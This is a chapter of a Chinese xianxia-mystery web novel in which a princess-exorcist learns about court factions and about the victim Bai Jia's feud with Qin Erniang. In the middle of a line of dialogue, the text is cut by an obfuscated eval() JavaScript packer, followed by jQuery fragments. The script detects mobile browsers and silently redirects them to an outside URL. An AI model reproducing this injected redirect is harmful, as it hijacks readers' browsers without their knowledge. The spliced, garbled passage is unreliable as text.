28. 朝堂之争

作品:《长安捉妖司

    李婉雁并不打算久留,问完自己想问的之后,便告辞转身离去。


    苏茜和杜鹃追了出来,“殿下请留步。”


    李婉雁上车的脚微微一顿,转过身来,朝两人微微一笑,“二位娘子还有事?”


    两人相对一视,点了点头。


    苏茜近前道:“殿下,说到底我二人买镜子也是因为看不惯白嘉,她性情不大好,总爱欺负人,尤其是秦家娘子。”


    李婉雁与白嘉在马场的赛事,她有所耳闻,虽没亲眼得见,但她对李婉雁也是有些钦佩的。


    是以,她也愿意如实相告,“当日将镜子买回家后,我便听坊间流传,说这面镜子能使人变美,原先我只当这不过是那走商放出来的噱头,直到后来在七夕诗会上,我看到容貌明显靓丽非常的白嘉。”


    “爱美之心人皆有之。”她吞了吞口水,“兴许是我心中起了这个念头,才会引来那些古怪的梦。”


    她看向李婉雁,眼里满是恳求,“我来是想问问殿下,我是不是将镜中的妖孽引到永安侯府了?我阿翁他……”


    “二娘子放心。”李婉雁道,“府上并未有妖孽的踪迹,若是你还不放心——将此符随身携带。”


    说着,她从乾坤袋中拿出三张符纸,用灵力在上面画了一道护身符。


    其中两个给了苏茜,另外一个交给了一旁满脸忧色的杜鹃。


    杜鹃没想到自己也有,感激涕零之下,忽然想起一事,近前低声道,“殿下,说起来或许是我心胸狭隘。听闻白嘉身亡,我刚开始并不觉得是意外。”


    “哦?”李婉雁挑眉,“为何?”


    杜鹃左右看了看,眼见着街道不远处偶尔有人,她指了指马车,“殿下,能否车中一叙?”


    “好。”


    李婉雁一个转身跳跃,如鱼跃龙门一般跳上了马车,随即给她们开门,“上来吧。”


    这一系列操作看得两人呆呆的,好在杜鹃反应及时,跟着上了马车。


    苏茜紧随其后。


    瞧见马车内这满眼粉色的装扮,两人皆是一愣。


    但看到早在车内闭目养神的谢常安与一脸好奇却毫无自在之感的李婉雁,两人不约而同地将心中好奇压了下去。


    马车不小,车内除了设有茶几之外,还有点心蒲团,粗粗看上去,可容得下四五人。


    李婉雁给她们倒了杯茶。


    两人在茶几旁坐下,杜鹃才道,“我自小就听闻白阁首非常宠爱白嘉这个独孙,从来不肯让她出门,前两年她正值说亲年岁,虽然白阁首放出话来,婚事只听她自己,但还是不免有人想上门提亲。”


    “白阁首是大瑞的元老肱股之臣,想与他结亲之人自是甚多,我有一个远房表兄家也起了这个心思。”


    她不好意思地抿了抿唇,“我那表兄人长得还可以,只是家祖曾是商户,商人末等,即便如今科举选贤只看才能,商者依旧为世人所不耻。是以我那表兄就存了这个心思。”


    “自那之后,他便偷偷关注起了白嘉,这么一关注,便观出了一些名堂。”


    她道:“他打算从飞鹰将军处下手,随即去了趟南海,此一去才发现,原来飞鹰将军镇守南海一年之后,便连续三年生了两个女儿,两年前又得一子。”


    苏茜惊诧道:“所以白嘉并非白阁首唯一的孙女?”


    杜鹃道:“但她是溧阳崔氏嫡支唯一的外孙女。”


    飞鹰将军当年娶的是溧阳崔氏嫡女,白阁首也因此稳固了自己的地位。


    苏茜恍然大悟,声音更小了,“所以你的意思是,白嘉之死恐怕还涉及朝堂之争?”


    杜鹃蹙眉,“兴许是的。”


    先帝在位时,四王夺位,无数世家与寒门为了站位,相互争斗得你死我活,有幸当今陛下与秦王因先淑妃之故被打入冷宫,这才将大瑞江山延续下去。


    但因那场夺位风波留下来的各个势力依旧暗流涌动,尤其是以白阁首为代表的崔氏世家与部分加入世家的寒门。


    因着冷宫十年之故,当今陛下的势力也只有三朝肱骨,以及高昌帝一手带出来镇守八方十二位将军。


    只是经过连年征战,在世的将军已经不多了。


    名将难得,忠勇之将更难得。


    是以当今皇帝这些年以来,眼见着那些拥护着他的将军一个个生老病死,无人为继。


    朝堂之上,又有以拥护世家利益的世家派、支持新政当今的推新派以及坚持以贤者为尊的禅让立新派。


    有幸当今陛下早已立太子,二皇子与三皇子也无太子贤能,太子又比宗室里的那些个王爷更有才能,是以,这些年禅让立新派才慢慢歇下来。


    只是歇归歇,在他们眼中,当今皇帝与秦王一样,是妖妃之后血脉不纯,暂歇的同时,他们依旧在暗中找寻新的正统血脉明君。


    世家派与推新派一直都是敌人,而白嘉是溧阳崔氏嫡支唯一的外孙女。


    论动机,凶手很有可能就是推新派。


    杜鹃看向李婉雁,“殿下,兴许这条线索您能用得上。”


    李婉雁低眉思索了一会儿,要不是她知道白嘉的三魂七魄被魔物蚕食,杜鹃的说辞,她很可能就信了。


    但看杜鹃那双水汪汪的大眼睛,李婉雁不忍拒绝,点了点头,“多谢杜娘子。”


    杜鹃当即咧嘴一笑,“殿下客气了,为殿下提供线索是小女的福气。”


    她好奇地看着李婉雁腰间的乾坤袋,小声问道,“殿下,这袋子可是什么神物?”


    李婉雁将乾坤袋摘下来递给她看,“这是乾坤袋,内有乾坤,其主修为几何内里乾坤就有几何。若是在普通人手中,大约只是一个荷包一样的容量。”


    “哦。”杜鹃面上闪过一丝失望,但这并不妨碍她接过袋子细细查看,“殿下,这东西是从何处购得的?或者说……”


    她有些不大好意思,声音都变小了,“这东西卖吗?”


    李婉雁摇头,“这东西是我入门时师父给的,每个师兄弟都有。”


    杜鹃看向一旁的谢常安,更加小心了,“听闻谢郎君是殿下师兄,谢郎君也有吗?”


    谢常安正在喝茶,闻言问问掀起眼皮,淡淡地嗯了一声,显得格外高深莫测。


    李婉雁在心里暗暗白了他一眼,要不是怕吓着眼前这两个小娘子,她怕是早就把抚宁喊出来削他一顿了。


    谢常安将杯盏放下,指着杜鹃腰间的荷包,问:“不过依我看,这乾坤袋虽是宝物,却不及娘子的荷包精美贵重。”


    “谢郎君说笑了,这个荷包只是我闲来无事绣着玩的。”


    说着,杜鹃也大方地将荷包拿了出来。


    这荷包是新的,浅金色的绸布上绣着几朵碧绿色的荷花,看起来格外地精美雅致。


    李婉雁拿起来,放鼻尖闻了闻,“这里面是什么香料?”


    “使我们几个一块儿配出来的。”苏茜也将自己的荷包取下,虽然是旧的,里面的香料却是一样的。


    “还真好闻。”李婉雁将荷包还给杜鹃,“我也想调一个这种味道的香料,也不知你们能不能……”


    “殿下,不是我们小器,其实我们也不知道这香料的配比是多少。”


    杜鹃道,“我们只知道里面用的是什么香料,但是配比却是秦二娘做的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904143|158196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    李婉雁蹙眉:“秦二娘?”


    杜鹃点头,“是啊,正是当日在马场被殿下救下的秦二娘。”


    李婉雁恍悟,“原来是她!你们相识?”


    苏茜道,“说起来,我们看不起白嘉,也正是因为白嘉欺负秦二娘。”


    李婉雁直觉其中还有故事,给两人续了杯茶,“为何?”


    杜鹃是个非常合格的说书人,只一问,她便如竹筒倒豆子一般,将她二人与白嘉,以及白嘉与秦二娘之间的恩怨全说了。


    这一切还是因为前年的那场榜下捉婿。


    前年科举放榜,朝中各路官员都想给自己的阵营多拉一些有才之士,放眼整个长安,林奉是个中翘楚。


    别的不说,他生有一副好皮囊,周正俊朗,再加上有陛下钦点探花头衔,更使得他在长安一时风光。


    也由此,是各个官员榜下捉婿的上上之选。


    白阁首也是一眼看中了这位俊朗的有志青年,为了邀他,在家中办了一场清谈会。


    也正因此会,白嘉与林奉见了一面。


    也不知为何,自那之后,白嘉总以各种理由在各个文人雅会上与林奉相遇,有传言说,不用多久,林奉便能成白府的乘龙快婿。


    然则正此时,林奉却亲口向白嘉承认,自己与秦将作家的二娘子有婚约在身,恐无法与白嘉相守。


    自那之后,白嘉就仿佛疯了一般,一找到机会就去找秦二娘的麻烦。


    “那时白嘉容貌如何?”李婉雁问。


    杜鹃想了想,“她每每出门不是戴着帷帽,就是裹着面巾,根本看不清她到底长什么样,不过……”


    她道,“她喜欢打马球,却骑术不精,有一回竟是面部着地落了马。说起来她也是好运气,在家修养了一个多月就能出门了,自那之后,她便不再戴帷帽面巾了。”


    杜鹃冷哼一声,“可是落马也改不了她的性情,能出府后,她依旧老是找秦二娘的麻烦,我与苏姊姊看不下去,便出手帮了秦二娘一把。”


    “秦二娘本是个靓丽的娘子,却被白嘉欺负的面上一块好肉都没有,真的是造孽。”杜鹃咬牙。


    苏茜道,“我二人见秦二娘擅调香,未免白嘉再找她麻烦,便经常约她制香,原本以为白嘉会就此打住,没成想,林奉死了。”


    杜鹃补充,“听闻是被白嘉的一系列手段逼得吐血而亡。”


    她叹道,“听闻探花郎再过几月就能封官了,这么一死,前途尽毁,实在可惜。”


    大瑞选官,自科举之后,榜上有名之人会进入新官所侯官,等到吏部大察后,有官职余出,便能接替。


    除此之外,便是参加吏部遴选,直接考官,若是朝中有个一二姻亲关系,举荐做官是最快的。


    林奉是探花,学时上是没问题的,且当年就是吏部大察,听闻余出了好些官,只要他还活着,必定能选上。


    只可惜,他死了。


    “即便如此,白嘉还是没放过秦二娘。”


    杜鹃愤愤不平,“这些日子,苏姊姊忙于嫁妆事宜,我家中也有些事,便没去约秦二娘子,没成想,她便被白嘉拉去了马球场。”


    她心有余悸,“幸好她被殿下所救,要不然,她怕是又要被欺负了。”


    李婉雁问:“她家在何处?”


    杜鹃以为她要去看秦二娘,不假思索道,“在宣平坊甜水巷。”


    “秦二娘的阿耶是将作监吏员,陛下千秋寿诞在即,工部在计划着建一个观星高台,这些日子秦监使在闭关忙碌呢。”


    她想了想,补充道:“许是前些日子被贬,脾气不是很好。”